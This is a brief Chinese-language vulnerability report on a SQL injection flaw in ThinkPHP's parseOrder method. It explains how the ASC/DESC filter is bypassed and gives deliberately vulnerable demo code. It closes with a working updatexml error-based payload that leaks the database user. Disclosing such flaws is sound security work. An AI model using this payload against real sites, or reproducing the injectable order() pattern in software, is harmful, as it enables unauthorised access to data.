漏洞詳情:
漏洞文件:./ThinkPHP\Library\Think\Db\Driver.class.php 中的 parseOrder方法:

這也是繼上次order方法注入之后的修復手段。
可以看到首先判斷是否存在ASC或DESC,正是因為這判斷,導致了我們可以引入 ( 等禁止的字符,所以導致了繞過過濾進行注入。
漏洞證明:
漏洞demo代碼:
public function orderby()
{
$obj = M('user');
$res = $obj->where('id=1')->order(I('id'))->select();
echo $obj->getLastSql();
}
利用證明:
Payload:id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,user/*,*/(/*%20ASC,*/),0x7e),1)
就是將語句中的所有 ( 替換成 /*,*/(/*%20ASC,*/ 即可繞過過濾進行注入。

